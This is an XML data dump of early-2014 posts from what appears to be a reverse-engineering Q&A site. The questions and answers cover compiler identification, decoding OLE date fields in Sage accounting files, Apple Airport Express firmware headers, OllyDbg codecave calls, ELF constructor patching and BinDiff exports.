  <row Id="3365" PostTypeId="2" ParentId="3362" CreationDate="2014-01-05T09:36:29.987" Score="16" Body="&lt;ol&gt;&#xA;&lt;li&gt;.NET could be identified by import which you can see using dependency warker - check if there is an import of &lt;a href=&quot;http://www.danielmoth.com/Blog/mscorlibdll.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;mscorlib.dll&lt;/code&gt;&lt;/a&gt; which is a core lib of .net framework. &lt;/li&gt;&#xA;&lt;li&gt;C++ can be identified by &#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;looking at the assembly - it uses &lt;a href=&quot;http://en.wikipedia.org/wiki/X86_calling_conventions&quot; rel=&quot;nofollow noreferrer&quot;&gt;this call convention&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tuts4you.com/download.php?view.398&quot; rel=&quot;nofollow noreferrer&quot;&gt;PEid&lt;/a&gt; can show partial info about what compiler and run-time were used. In general it uses list of signature for that.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ntinfo.biz/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Detect It Easy&lt;/a&gt; - this tool is still maintained and has pretty interesting features.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="22834" LastEditDate="2018-01-12T16:25:04.223" LastActivityDate="2018-01-12T16:25:04.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3366" PostTypeId="2" ParentId="3362" CreationDate="2014-01-05T09:44:46.623" Score="43" Body="&lt;p&gt;(reposting &lt;a href=&quot;https://stackoverflow.com/a/18722413/422797&quot;&gt;my SO answer&lt;/a&gt; to a similar question)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In many cases it is possible to identify the compiler used to compile the code, and from that, the original language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most language implementations include some kind of runtime library to implement various high-level operations of the language. For example, C has the CRT which implements file I/O operations (&lt;code&gt;fopen&lt;/code&gt;, &lt;code&gt;fread&lt;/code&gt; etc.), Delphi has compiler helpers for its &lt;code&gt;string&lt;/code&gt; type (concatenation, assignment and others), ADA has various low-level functions to ensure language safety and so on. By comparing the code of the program and the runtime libraries of the candidate compilers you may be able to find a match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA implements this approach in the &lt;a href=&quot;https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml&quot; rel=&quot;noreferrer&quot;&gt;FLIRT technology&lt;/a&gt;. By using the signatures, IDA is able to determine most of the major compilers for DOS and Windows. It's somewhat more difficult on Linux because there's no single provider of compiler binaries for it, so signatures would have to be made for every distro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, even without resorting to the runtime library code, it may be possible to identify the compiler used. Many compilers use very distinct idioms to represent various operations. For example, I &lt;a href=&quot;http://www.reddit.com/r/programming/comments/qnyy9/duqu_trojan_written_in_mystery_programming/c3z8qhg&quot; rel=&quot;noreferrer&quot;&gt;was able to guess&lt;/a&gt; that the compiler used for the Duqu virus was Visual C++, which was later &lt;a href=&quot;http://www.wired.com/threatlevel/2012/03/duqu-mystery-language-solved/&quot; rel=&quot;noreferrer&quot;&gt;confirmed&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-01-05T09:44:46.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3367" PostTypeId="1" AcceptedAnswerId="3368" CreationDate="2014-01-05T14:40:15.913" Score="3" ViewCount="429" Body="&lt;p&gt;I've been writing a small library to allow parsing of the data files used by Sage Accounts 50, but I'm really confused by how it is storing dates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm fairly sure that there will be a date created and date modified. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should contain a modified date of 05/01/2014&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01 00 00 00 01 00 00 27 00 00 00 65 87 A9 CB 80 55 E4 40 EA 7D BC E5 1B 55 E4 40 65 87 A9 CB 80 55 E4 40 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;12/02/2014:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01 00 00 00 01 00 00 29 00 00 00 72 11 06 D0 81 55 E4 40 EA 7D BC E5 1B 55 E4 40 72 11 06 D0 81 55 E4 40 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;16/06/2014:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01 00 00 00 01 00 00 2B 00 00 00 6A F8 DB D4 81 55 E4 40 EA 7D BC E5 1B 55 E4 40 6A F8 DB D4 81 55 E4 40 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;12/12/2013:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01 00 00 00 01 00 00 2D 00 00 00 F8 F1 96 E6 81 55 E4 40 EA 7D BC E5 1B 55 E4 40 F8 F1 96 E6 81 55 E4 40 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be really appreciated. I've already tried looking for unix time stamps and also &lt;code&gt;struct tm&lt;/code&gt;, without any luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As requested here are some dates which are more sequential:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01/12/13 - 01 00 00 00 01 00 00 2F 00 00 00 7C E8 A9 80 94 55 E4 40 EA 7D BC E5 1B 55 E4 40 7C E8 A9 80 94 55 E4 40 00&#xA;02/12/13 - 01 00 00 00 01 00 00 31 00 00 00 81 59 DC 89 94 55 E4 40 EA 7D BC E5 1B 55 E4 40 81 59 DC 89 94 55 E4 40 00&#xA;03/12/13 - 01 00 00 00 01 00 00 33 00 00 00 BF 58 F2 8B 94 55 E4 40 EA 7D BC E5 1B 55 E4 40 BF 58 F2 8B 94 55 E4 40 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3555" LastEditorUserId="3555" LastEditDate="2014-01-05T15:29:11.693" LastActivityDate="2014-01-05T17:49:55.717" Title="What is the format of this date time?" Tags="|binary-analysis|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3368" PostTypeId="2" ParentId="3367" CreationDate="2014-01-05T17:49:55.717" Score="8" Body="&lt;p&gt;These are 64-bit OLE date format, but they are not the dates you're thinking they are.  I took all of your samples and sorted them into the order you posted them (from top to bottom).  I then decoded the 8-byte strings starting from byte 11 of each sample as a double in IEEE format and then dumped the floating-point number in text form.  (I wrote a quick C++ program, but one could do that with many other methods.)  I then put those into a spreadsheet (I used Libre Office, but one could also use Excel) to interpret them as Microsoft's 64-bit OLE date formats which are number of seconds from 30 December 1899 0:00:00 and got the following (mm/dd/yyyy format):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01/05/2014 00:35:48 41644.02486&#xA;01/05/2014 01:21:34 41644.05664&#xA;01/05/2014 01:22:25 41644.05723&#xA;01/05/2014 01:25:32 41644.0594&#xA;01/05/2014 15:22:37 41644.64071&#xA;01/05/2014 15:24:14 41644.64183&#xA;01/05/2014 15:24:36 41644.64208&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks like the last three samples were sequentially created within two minutes, which makes sense to me.  So they are indeed dates, but not the ones you think they are.  Look elsewhere for changes in the file for 8-byte sequences ending with 0x40.&lt;/p&gt;&#xA;" OwnerUserId="3557" LastActivityDate="2014-01-05T17:49:55.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3369" PostTypeId="2" ParentId="3361" CreationDate="2014-01-05T20:56:42.357" Score="2" Body="&lt;p&gt;At first try to start with hardware BP instead of software BP (&quot;the regular ones&quot;) but remember that you only have 4 hardware BPs and they are per specific thread.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, taking into account that you are saying &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the memory cannot be read&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;then I would suggest &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;to set BP on &lt;code&gt;VirtualFree&lt;/code&gt;/&lt;code&gt;NtFreeVirtualMemory&lt;/code&gt; and trace from there back to understand if memory was freed intentionally or because of some bug.&lt;/li&gt;&#xA;&lt;li&gt;if the above is not working, try to use hardware BPs on the same functions and also on &lt;code&gt;GetThreadContext&lt;/code&gt; to check if there is anti-debugging present to clean the hardware BPs.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2021" LastActivityDate="2014-01-05T20:56:42.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3370" PostTypeId="2" ParentId="3362" CreationDate="2014-01-05T20:58:13.117" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://www.cgsoftlabs.ro/studpe.html&quot; rel=&quot;nofollow&quot;&gt;Stud_PE&lt;/a&gt; (free) scans a lot of signatures of PE files (.EXEs and .DLLs).&lt;/p&gt;&#xA;" OwnerUserId="3355" LastActivityDate="2014-01-05T20:58:13.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3371" PostTypeId="1" CreationDate="2014-01-05T22:51:35.283" Score="9" ViewCount="2634" Body="&lt;p&gt;Apple provides firmware updates for their Airport products through 'Airport Utility'. Firmware files can be downloaded with the help of ~/Library/Application\ Support/Apple/AirPort/Firmware/version.xml which contains all products and their available firmware versions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            ...&#xA;    &amp;lt;dict&amp;gt;&#xA;        &amp;lt;key&amp;gt;location&amp;lt;/key&amp;gt;&#xA;        &amp;lt;string&amp;gt;http://apsu.apple.com/data/115/041-9815.20130814.1Rver/7.6.4.basebinary&amp;lt;/string&amp;gt;&#xA;        &amp;lt;key&amp;gt;newest&amp;lt;/key&amp;gt;&#xA;        &amp;lt;true/&amp;gt;&#xA;        &amp;lt;key&amp;gt;productID&amp;lt;/key&amp;gt;&#xA;        &amp;lt;string&amp;gt;115&amp;lt;/string&amp;gt;&#xA;        &amp;lt;key&amp;gt;sizeInBytes&amp;lt;/key&amp;gt;&#xA;        &amp;lt;integer&amp;gt;5674968&amp;lt;/integer&amp;gt;&#xA;        &amp;lt;key&amp;gt;sourceVersion&amp;lt;/key&amp;gt;&#xA;        &amp;lt;string&amp;gt;76400.10&amp;lt;/string&amp;gt;&#xA;        &amp;lt;key&amp;gt;version&amp;lt;/key&amp;gt;&#xA;        &amp;lt;string&amp;gt;7.6.4&amp;lt;/string&amp;gt;&#xA;    &amp;lt;/dict&amp;gt;&#xA;    &amp;lt;dict&amp;gt;&#xA;        &amp;lt;key&amp;gt;location&amp;lt;/key&amp;gt;&#xA;        &amp;lt;string&amp;gt;http://apsu.apple.com/data/115/041-9696.20130207.Ch5g6/7.6.3.basebinary&amp;lt;/string&amp;gt;&#xA;        &amp;lt;key&amp;gt;productID&amp;lt;/key&amp;gt;&#xA;        &amp;lt;string&amp;gt;115&amp;lt;/string&amp;gt;&#xA;        &amp;lt;key&amp;gt;sizeInBytes&amp;lt;/key&amp;gt;&#xA;        &amp;lt;integer&amp;gt;5674344&amp;lt;/integer&amp;gt;&#xA;        &amp;lt;key&amp;gt;sourceVersion&amp;lt;/key&amp;gt;&#xA;        &amp;lt;string&amp;gt;76300.7&amp;lt;/string&amp;gt;&#xA;        &amp;lt;key&amp;gt;version&amp;lt;/key&amp;gt;&#xA;        &amp;lt;string&amp;gt;7.6.3&amp;lt;/string&amp;gt;&#xA;    &amp;lt;/dict&amp;gt;&#xA;    &amp;lt;dict&amp;gt;&#xA;        &amp;lt;key&amp;gt;location&amp;lt;/key&amp;gt;&#xA;        &amp;lt;string&amp;gt;http://apsu.apple.com/data/115/041-0311.20130207.aaWs/7.6.2.basebinary&amp;lt;/string&amp;gt;&#xA;        &amp;lt;key&amp;gt;productID&amp;lt;/key&amp;gt;&#xA;        &amp;lt;string&amp;gt;115&amp;lt;/string&amp;gt;&#xA;        &amp;lt;key&amp;gt;sizeInBytes&amp;lt;/key&amp;gt;&#xA;        &amp;lt;integer&amp;gt;5627396&amp;lt;/integer&amp;gt;&#xA;        &amp;lt;key&amp;gt;sourceVersion&amp;lt;/key&amp;gt;&#xA;        &amp;lt;string&amp;gt;76200.16&amp;lt;/string&amp;gt;&#xA;        &amp;lt;key&amp;gt;version&amp;lt;/key&amp;gt;&#xA;        &amp;lt;string&amp;gt;7.6.2&amp;lt;/string&amp;gt;&#xA;    &amp;lt;/dict&amp;gt;&#xA;            ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the Airport Express (model A1392, productID 115, see &lt;a href=&quot;http://wikidevi.com/wiki/Apple_AirPort_Express_Base_Station_A1392_%28MC414LL/A%29&quot;&gt;WikiDevi&lt;/a&gt;, &lt;a href=&quot;http://weblog.rogueamoeba.com/2012/06/19/airport-express-disassembly/&quot;&gt;Teardown by Rogue Amoeba&lt;/a&gt;) there are 3 firmware versions: 7.6.2, 7.6.3 and 7.6.4 (current).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded all 3 versions and used binwalk (v1.2.2-1) on them. They seem to be encrypted:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk -H 7.6.3.basebinary&#xA;&#xA;DECIMAL     HEX         HEURISTIC ANALYSIS&#xA;&#xA;-------------------------------------------------------------------------------------------------------------------&#xA;&#xA;0           0x0         High entropy data, best guess: encrypted, size: 5673944, 0 low entropy blocks&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Examining different firmware files revealed their common structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offset 0-D: static string APPLE-FIRMWARE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offset E: static hex 00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offset F: firmware format version (?) (8 bit signed) hex 2D =&gt; format 45 (7.5.x firmwares have format version 44, 7.7.x firmwares have format version 46)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offset 10-12: static hex 00 00 00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offset 13: product ID (8 bit signed) hex 73 =&gt; product ID 115&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offset 14: Firmware Major Version (8 bit signed) hex 07 =&gt; major version 7 (aka 7.x)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offset 15: Firmware Minor Version (8 bit signed) hex 63 =&gt; minor version 63 (aka x.63)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offset 16-1F: checksum or size for following part?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offset 20-2D: static string APPLE-FIRMWARE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offset 2E: static hex 00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offset 2F: firmware format version (?) (8 bit signed) hex 2D =&gt; format 45 (7.5.x firmwares have format version 44, 7.7.x firmwares have format version 46)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offset 30-32: static hex 00 00 00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offset 33: product ID (8 bit signed) hex 73 =&gt; product ID 115&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offset 34: Firmware Major Version (8 bit signed) hex 07 =&gt; major version 7 (aka 7.x)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offset 35: Firmware Minor Version (8 bit signed) hex 63 =&gt; minor version 63 (aka x.63)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offset 36-3F: checksum or size for following part?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offset 40-12F: boot code?&#xA;344FE72ADE3CC2202D6A221A3B67B6075B0F13CA37F5DCCAE5ED626BAE0B4655E618766D703B5190CCD578BCF06D6C9ECD97265B962F49478BE1E9FDE8160E5CCDC09B0C975A3D271D988791258ACC6E679A1556F01C2100DDD0B35E8DA388119C35AC8765DB5DC6AAD6E3D7232D47B4EFA97B32AEF6FF77EDB43946103187342DF68BE88D6B005DAF7CC212777C4FA7FEFD3FD299088EE73EC6FAB1596A92835E4E2450750D9AB5F86780464E341CBFE61E7B8F224285CB3D47D3891AD614B1ABD04DB3DACE7622B22355752F29FF7C5492635F9B99F966759DA4070F23B1D20E197F72BDAFA2B36B567C8E756147A2&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Do you have any idea on how to go forward?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What kind of encryption could have been used? Apple seems to use AES for Iphone and AppleTV firmware.&lt;/p&gt;&#xA;" OwnerUserId="3561" LastEditorUserId="3561" LastEditDate="2014-01-08T07:45:39.683" LastActivityDate="2018-01-17T06:19:01.160" Title="Reversing Apple Airport Express firmware updates" Tags="|firmware|encryption|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3372" PostTypeId="2" ParentId="3267" CreationDate="2014-01-06T01:39:04.660" Score="1" Body="&lt;p&gt;This is not a complete answer yet, but perhaps it will be of assistance anyway. First, for every 6-bit code exactly 3 bits are set, strongly suggesting some kind of a 3-of-6 binary channel coding.  I'm inferring the following rules:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;exactly 3 of the 6 bits must be set&lt;/li&gt;&#xA;&lt;li&gt;the last 3 bits must not all be the same value&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Both of these would have valid reasons for channel coding because they'd assure that there are always at least two transitions (1-to-0 or 0-to-1) per symbol period, and therefore assist in synchronization and clock recovery.  At first glance, it looked like Manchester encoding or Differential Manchester, but that does not seem to be the case, not least because it appears to be encoding at least 4 bits per 6-bit symbol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If both those presumed rules are correct, there are 19 possible values (if only rule 1 is correct, there are 21 possible values).  They're enumerated below in numerical order, followed by the symbol number, followed by the observed symbol meaning (I've assigned the observed but unknown symbols values of uA through uE; theoretically possible but unobserved symbols are marked as ?G through ?I):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000111 00 disallowed by rule 2&#xA;001011 01 uA&#xA;001101 02 uB&#xA;001110 03 ?G&#xA;010011 04 ?H&#xA;010101 05 &quot;0&quot;&#xA;010110 06 &quot;7&quot;&#xA;011001 07 &quot;9&quot;&#xA;011010 08 &quot;8&quot;&#xA;011100 09 uC&#xA;100011 10 &quot;3&quot;&#xA;100101 11 &quot;5&quot;&#xA;100110 12 &quot;6&quot;&#xA;101001 13 ?I&#xA;101010 14 uD&#xA;101100 16 uE&#xA;110001 17 &quot;1&quot;&#xA;110010 18 &quot;2&quot;&#xA;110100 19 &quot;4&quot;&#xA;111000 20 disallowed by rule 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the symbols&quot;1&quot; through &quot;6&quot; the low four bits are the encoded value 1-6 and the high two bits are the count of zeroes in the low four bits.  It also works for ?I, uD, and uE if you give those the values of 9,10 and 12, respectively. However, that interpretation, does not work for the other values.  &lt;/p&gt;&#xA;" OwnerUserId="3557" LastActivityDate="2014-01-06T01:39:04.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3373" PostTypeId="1" CreationDate="2014-01-06T16:36:59.113" Score="4" ViewCount="1242" Body="&lt;p&gt;I am using BinDiff 4.0 as a plug-in for IDA Pro 6.5. I know that it is possible to save the results as a &lt;code&gt;.BinDiff&lt;/code&gt; file, however is there a way I can format this into a more easily accessible file type? I have been searching for a solution for several days and so far the two best solutions I have discovered are to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy and paste the matched functions window (this is simply too inefficient for what I am looking for).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Export the data as a &lt;code&gt;.BinDiff&lt;/code&gt; and then access through an SQL database manager and try to export from there. However it seems to change the data to incorrect values and not what I am looking for. (I want the exact information from the matched functions window).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additional Information&lt;/strong&gt;: I know that BinDiff 3.x had a &lt;code&gt;save_to_log&lt;/code&gt; function which (I think) did what I am looking for, and saves the information in the matched function window to a &lt;code&gt;.txt&lt;/code&gt; file. I have tried contacting both Zynamics support, and Google/Zynamics support with no reply.&lt;/p&gt;&#xA;" OwnerUserId="3505" LastEditorUserId="2147" LastEditDate="2016-10-11T13:17:23.807" LastActivityDate="2016-10-11T13:17:23.807" Title="How to format data exported from BinDiff?" Tags="|ida|ida-plugin|tool-bindiff|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3374" PostTypeId="1" AcceptedAnswerId="3377" CreationDate="2014-01-07T00:49:33.363" Score="4" ViewCount="1854" Body="&lt;p&gt;I need some help regarding calls in assembly with Ollydbg.&#xA;I'm messing around with a simple application.&#xA;So far, so good, I created a codecave for myself to add some code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But whenever I try to create a call to a function outside my debugged executable module to, for example, a &lt;code&gt;kernel32&lt;/code&gt; or &lt;code&gt;msvcrt&lt;/code&gt; function, it messes everything up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's look at some random call in the application:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0041D654     FF15 DC714200  CALL DWORD PTR DS:[&amp;lt;&amp;amp;KERNEL32.GetCommandLineA&amp;gt;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I double click it, it shows me &lt;code&gt;CALL DWORD PTR DS:[4271DC]&lt;/code&gt;&#xA;So, &lt;code&gt;4271DC&lt;/code&gt; seems to point to &lt;code&gt;76FB496D&lt;/code&gt;, which is, indeed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;76FB496D &amp;gt;-FF25 60070177    JMP DWORD PTR DS:[&amp;lt;&amp;amp;api-ms-win-core-processenvironment-l1-2-0.Get&amp;gt; ;KERNELBA.GetCommandLineA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Well, I just stole that from the application itself.&#xA;Now I want to create a call to &lt;code&gt;kernel32&lt;/code&gt; myself.&#xA;I assemble a line and enter &lt;code&gt;CALL DWORD PTR DS:[Kernel32.GetCommandLineA]&lt;/code&gt;&#xA;Now it's saying:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0041D654     FF15 6D49FB76  CALL DWORD PTR DS:[KERNEL32.GetCommandLineA]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking good!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assemble the line &lt;code&gt;CALL DWORD PTR DS:[76FB496D]&lt;/code&gt;. Giving this a run works fine ofcourse, but whenever I run it like this on another pc, all hell breaks loose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: How can I make such an pointer &lt;code&gt;CALL DWORD PTR DS:[4271DC]&lt;/code&gt;, so the code runs on all pc's?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can of course use &lt;code&gt;CALL DWORD PTR DS:[4271DC]&lt;/code&gt; in the application to call the function &lt;code&gt;getcomandlineA&lt;/code&gt; whenever I want, but I don't know the (dynamic?) pointer to, let's say, &lt;code&gt;kernel32.lstrcpy&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3573" LastEditorUserId="53" LastEditDate="2014-01-07T09:05:34.543" LastActivityDate="2014-01-07T14:24:37.607" Title="Cannot call function (properly) in ollydbg" Tags="|ollydbg|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3375" PostTypeId="2" ParentId="3374" CreationDate="2014-01-07T02:41:59.973" Score="3" Body="&lt;p&gt;If you just want to use a single &lt;code&gt;CALL&lt;/code&gt;, you need to make sure that your target API function is statically imported. You can use a tool like &lt;a href=&quot;http://www.woodmann.com/collaborative/tools/index.php/IIDKing&quot; rel=&quot;nofollow&quot;&gt;IIDKing&lt;/a&gt; to add your target API function to your PE file's static imports.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-01-07T02:41:59.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3376" PostTypeId="1" CreationDate="2014-01-07T02:44:16.500" Score="2" ViewCount="553" Body="&lt;p&gt;I got an ELF shared library with a constructor function that is executed every time the library is loaded:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.init_array:00005E5C ; =====================================================================&#xA;.init_array:00005E5C&#xA;.init_array:00005E5C ; Segment type: Pure data&#xA;.init_array:00005E5C                 AREA .init_array, DATA&#xA;.init_array:00005E5C                 ; ORG 0x5E5C&#xA;.init_array:00005E5C                 DCD sub_239C&#xA;.init_array:00005E60                 DCB    0&#xA;.init_array:00005E61                 DCB    0&#xA;.init_array:00005E62                 DCB    0&#xA;.init_array:00005E63                 DCB    0&#xA;.init_array:00005E63 ; .init_array   ends&#xA;.init_array:00005E63&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This constructor calls the function sub_239C:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0000239C&#xA;.text:0000239C ; =============== S U B R O U T I N E =======================================&#xA;.text:0000239C&#xA;.text:0000239C ; Attributes: thunk&#xA;.text:0000239C&#xA;.text:0000239C sub_239C ; DATA XREF: .init_array:00005E5Co&#xA;.text:0000239C                 B sub_1354&#xA;.text:0000239C ; End of function sub_239C&#xA;.text:0000239C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any way for me to remove the constructor and make &lt;code&gt;sub_239C&lt;/code&gt; exported symbol&lt;/p&gt;&#xA;" OwnerUserId="3468" LastEditorUserId="53" LastEditDate="2014-01-07T09:10:12.987" LastActivityDate="2014-01-07T09:10:12.987" Title="Patch ELF (arm): remove constructor segment" Tags="|elf|arm|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3377" PostTypeId="2" ParentId="3374" CreationDate="2014-01-07T02:44:20.553" Score="4" Body="&lt;p&gt;The address at 004271DC is resolved at the application start via the executable Imports. Those addresses are different for every executable. The address where the module and functions are loaded (here 76FB496D) is also not guaranteed to always stay the same so you shouldn't hardcode them.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A generic method to call a function in any executable is to dynamically import it with LoadLibrary and GetProcAddress as described here : &lt;a href=&quot;https://stackoverflow.com/questions/8696653/dynamically-load-a-function-from-a-dll&quot;&gt;https://stackoverflow.com/questions/8696653/dynamically-load-a-function-from-a-dll&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-01-07T02:50:44.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3378" PostTypeId="2" ParentId="3322" CreationDate="2014-01-07T03:38:50.873" Score="7" Body="&lt;p&gt;You can save the graph as a .gdl file. You can then use &lt;a href=&quot;http://search.cpan.org/~tels/Graph-Easy/bin/graph-easy&quot; rel=&quot;noreferrer&quot;&gt;graph-easy&lt;/a&gt; to convert the GDL file to an image file such as SVG, PNG, JPG etc.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;graph-easy --from gdl --input=graph.gdl --png --output=graph.png&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3574" LastActivityDate="2014-01-07T03:38:50.873" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3379" PostTypeId="1" AcceptedAnswerId="3381" CreationDate="2014-01-07T03:46:19.910" Score="-2" ViewCount="1772" Body="&lt;p&gt;I learned basis of assembly language with, both, AT&amp;amp;T and Intel style. After that I gone through buffer overflow and how to use shellcode with it. Should I go for &lt;a href=&quot;http://www.metasploit.com/&quot; rel=&quot;nofollow&quot;&gt;Metasploit&lt;/a&gt; now?&lt;/p&gt;&#xA;" OwnerUserId="2460" LastEditorUserId="53" LastEditDate="2014-01-07T08:57:54.340" LastActivityDate="2014-01-07T08:57:54.340" Title="Does learning Metasploit help me in reverse engineering and malware analysis?" Tags="|disassembly|malware|assembly|buffer-overflow|metasploit|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3380" PostTypeId="2" ParentId="3379" CreationDate="2014-01-07T03:52:12.737" Score="4" Body="&lt;p&gt;No.&#xA;               &#xA; &#xA; &#xA; &#xA; &#xA; &#xA;​&#xA; &lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-01-07T03:52:12.737" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
